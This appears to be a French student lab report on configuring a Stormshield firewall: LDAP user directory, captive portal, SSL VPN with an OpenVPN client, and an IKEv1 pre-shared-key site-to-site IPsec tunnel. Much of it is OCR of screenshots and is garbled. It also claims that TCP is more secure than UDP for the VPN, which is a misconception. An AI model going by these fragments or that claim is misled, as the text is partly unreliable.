authentification, confidentialité, intégrité et non-répudiation.

Annuaire :

L'intégration du firewall SNS a un annuaire est essentielle pour garantir une gestion efficace des
utilisateurs et des groupes au sein de ses modules. Cette connexion permettra de configurer les utilisateurs
et les groupes autorisés a établir des tunnels VPN SSL lors de la configuration du réseau, pour ma part j’ai
conservé celui réalisé a la tache 4.

AVAILABLE METHODS AUTHENTICATION POLICY C

+ Add a method v
Method
¥ LoAP

Helpustou

@ DIRECTORIES CONFIGURATION

CONFIGURED DIRECTORIES (MAXIMUM 5)

= Action v

= Configuration
Domain name

luttwh [¥] Enable user directory
Organization: T
Domain: fwb
ID: cn=NetasgAdmin

Password:

Confirm

\ o |

J’ai ajouter ensuite un utilisateur dans le LDAP, sans générer de certificat :

CN

4 authuserx@iut K. fivtih)

2 th@iut 1 CERTIFICATE  MEMBER OF THESE GROUPS

A Access privileges
ID (login): fth

Last name: fth
First name

E-mail address:
Phone number:

Description
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De plus, il est nécessaire d'activer le portail captif du firewall SNS pour permettre aux utilisateurs se
connectant via VPN SSL d'y accéder. Ce portail offre également la possibilité de récupérer la
configuration VPN.

$& STORMSHIELD

| Bienvenue fthh. Temps restant - 4:00
=] connexion ~
Vous pouvez vous SUCCES

authentifier, modifier votre
mot de passe._.

[L] Nouvel utilisateur Authentification réussie
Pour demander un compte = ~
de conheaon Vous étes connecté

[<] Données personnelles
Pour obtenir vos parameétres B o _ . "
de connexion » Cliquez ici si vous n'étes pas redirigé automatiquement

Ensuite il y a des configuration sur le stormshield a faire pour permettre au bon fonctionnement du VPN

§ Read only
@ Restricted access to logs

SSL VPN
[ ON |

Network settings

UTM IP address (or FQDN) used: 87.10.10.1

Available networks or hosts : Network_internals v
Network assigned to clients (UDP): UDP_SSL v
Network assigned to clients (TCP): TCP_SSL v
Maximum number of simultaneous 40

tunnels allowed:

DNS settings sent to client

Domain name: dns.sae
Primary DNS server: Configured for the firew. |
Secondary DNS server: Configured for the firew. [

<7 Advanced configuration

UDP_SSL et TCP_SSL sont des objets que j’ai créé, si un client se connecte a 1'aide du protocole UDP
alors il lui sera attribué la pool d’adresse ip en 192.168.3.X en revanche si il se connecte en TCP, alors il
lui sera attribué une adresse en 192.168.4.X

Le protocole TCP est moins rapide mais plus sécurisé, il est préférable de I’utiliser pour notre cas tandis
que UDP est beaucoup plus rapide mais moins sécuriseé.

Ensuite je rajoute quelque régle de filtrage et de nat pour éviter que le fw bloque :
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| o uDP_sSL
2 on @®on i pass ‘ i TCP_SSL @ Firewall_in ¥ hitp @IDS Created on 2024-04-04 13:58:17 by admin (192.168.1.101)
via SSL VPN tunnel
UDP_SSL
1 an @ on | TCP_SSL
interface: ssivpn

Client OpenVPN :

Internet
“3 frace: ol [¥] Any = [§ Firewall_out 4 ¥ epheme [¥] Any Created on 2024-0.

Pour que la connexion puisse s’établir on installe un client avec OpenVPN, ensuite on se connecte au
portail afin de récupeérer le fichier de configuration ovpn :

onN risé  hitps//87.10.10.1

H ) spe617_annexe22_1..

% STORMSHIELD

[#] connexion

Vous pouvez vous AUTHENTIFICATION

authentifier, modifier votre

mot de passe -
Veuillez vous authentifier (7)

A/ Nouvel utilisateur

Pour demander un compte

de connexion

Nom d'utilisateur [ |

Durée d'authentification [4 heures v |

Ensuite on s’authentifie et on récupere le fichier :
#% STORMSHIELD
[“Bemene o emps estan 337y
[#7| connexion s
Ao DONNEES PERSONNELLES
authentifier, modifier votre
mot de passe..
|&] Nouvel utilisateur Bienvenue
dPour demander Uircompte Vous étes authentifié avec le nom d'utilisateur fthh, et le temps d'authentification restant est de 3
e connexion

heures et 59 minutes
@ Données personnelles
Pour obtenir vos paramétres
de connexion

= Autorité de certification du proxy SSL

« VPN SSL Client

« Profil VPN SSL pour clients OpenVPN (contient plusieurs fichiers de configuration)

» Profil VPN SSL pour clients mobile OpenVPN Connect (fichier unique .ovpn)

Puis on I’'upload :
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OpenVPN Connect

£ Import Profile

VIA URL

Drag and drop to upload .OVPN profile.
You can import only © le at a time.

Une fois uploader 1’adresse du serveur se met automatiquement, nous n’avons plus qu'a entré I'utilisateur
et le mot de passe afin de s’authentifier, puis la connexion se crée :

OpenVPN Connect
— Profiles

CONNECTED

OpenVPN Profile
VPNSSL

DISCONNECTED

CONNECTION STATS

4.2KB/s

OB/s

BYTES IN "T” BYTES OUT
1

39 B/S 42 B/S

DURATION PACKET RECEIVED 4
00:00:25 O sec ago | »
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Tache 13 Configuration d’un VPN IPSEC site a site (5,25 points)

Liste des personnes impliquées avec pourcentage de répartition
Yanis ZERRAR 100 %

Estimation du temps passé sur cette tache en heure-homme : 5h

Objectif : Mettre en place un VPN IPSEC entre vos deux sites

Vous commencerez par mettre en place un tunnel VPN IPSEC simple entre vos deux LANSs, une fois testé
et validé, vous mettrez en place un VPN utilisant les Virtual Tunneling Interface (VTI) pour relier dans un
seul tunnel vos 4 réseaux (LAN A, DMZ A, LAN B et DMZ B).

Sous-taches Evaluation prof

Mettez en place un tunnel VPN entre vos deux LANs

Testez et faites valider

Mettez en place un tunnel entre tous vos réseaux en utilisant les VTI
Testez et faites valider

Utilisation des certificats pour I'authentification des SNSs

Testez et faites valider

Rapport

(Captures d’écrans de la configuration Stormshield et des clients, etc.)
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d’écrans de la configuration Stormshield et des clients, etc.)

§ Lecture seule
@ Accés restreint aux logs

096

SN Reai-Time Monitor

Ty
TUNNELS VPN IPSEC

2 ametlorer I

@ CONFIGURATION B
8 oBJETS RESEAU @ Actualiser | Configurer le service VPN IPSec
L. UTILISATEURS ET GROUPES
|« SUPERVISION Politiques
Rechercher Filtrer: Rechercher. x
® Matériel / Haute Disponibilité [] Cacher les tunnels établis pour n'afficher que les politiques présentant des problémes
® Systeme Etat Nom du réseau local = Nom de |a passerel... Sens Nom de la passerel... = Nom du réseau dist... Durée de... ID
® |Inierfaces Politique: none rfc5735_loopback - in any 0
® QoS Politique: none rfc5735_loopback - out any 0
® Machines @ 1 Tunnel(s) Network_in Firewall_out - [ out Firewal_B Network-in-B 16385
® Umsitis @ 1 Tunnel(s) Network_in Firewall_out -@in Firewal_B Network-in-B 16386
® Connexions
® Routage
® DHCP \
® Tunnels VPN SSL
® Tunnels VPN IPSec
@ Listes noires / listes blanches
Tunnels
[ Nafficher gue les tunnels correspondant 3 Ia politique sélectionnée
Nom de la passerelle lo... = Nom de la passerelle di... Durée de vie Octets sortants Octets entrants Etat Chiffrement Authentific...
Firewall_out Firewal_B 4m consommée(s) .. 864 0 - mature aes-che hmac-sha256
Etablissment de la connexion VPN IPSec

Texte recherché X * ~ B8 | 1 4 [

Ligne Etat Réseau local Correspondant Réseau distant Profil de chiffrement Keepalive Commentaire

1 @ on® Network_in Site_Firewal_B_cle Network-in-B StrongEncryption 30

Configuration du VPN IPsec Firewall A

VPN IPSec site a site :

Pour établir un VPN site a site, nous avons fait la méme configuration sur les deux firewalls. Nous avons
créé des clés utilisant la version IKEv1 (Internet Key Exchange v1) avec une clé PSK afin de chiffrer la

liaison.
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e
< @ ¢

FW_B@87.10.10.129 Ad. +

@ Barrede favoris

87.10.10.129

% STORMSHIELD snziow ey W i

1 Acces comelet aux logs (

& ORI @ TUNNELS VPN IPSEC
S OBJETS RESEAU R Actusiser | Configurer e service VEN IPSec
A UTILISATEURS ET GROUPES
d SUPERVISION Politiques

Rechercher Fitrer: Re x
© ' Mutdctel 7 uvte Disponibiiid ] Cacher les tunnels établis pour nafficher que les politiques présentant des problémes
® Systeme et Nom du éseau local Nom de la passerele locale
® interfoces Poltique: none ic&735 loopback
® 0o Poltique: none lc5735 Joopback
® Machines @ 2Tunnel(s) Netwark_in Firewall_out
® Usissteurs © 2Tunnci(s) Network_in Firewall_out
® Comexions
® Routsge
® orcP
® Tunnels VPN SSL !
® Tunnels VPN 1PSec
® Listes noires / listes blanches

Tunnels

Nafiicher que les tunnels correspondant a la politique sélectionnée

Nom de Ia passerelle locale Nom de la passerelie Gistante

Firewall_out FW.OUT.A

Firewall_out FW.OUT_A

Sens ~

- ot
- gout

-@n

Nom de la pesserelie distante:

FW.OUT_A
FW.OUT A

Durée dovie
11m consommee(s).

59m consommees).

Nom du résesu distent

any
any
NetworicinA

NetworkinA

Octets sortants
1005 Ko
1161Ko

(xl2 1)

[ T e —————

a

Durée e 0
[
(]
16385
16386
Octets entrants | Exat Chiffrement | Authentfica.
454K mature aesche hmac-sha256
376Ko dying sescbe hmac-sha256

Ci-dessus, les paquets échangés

10
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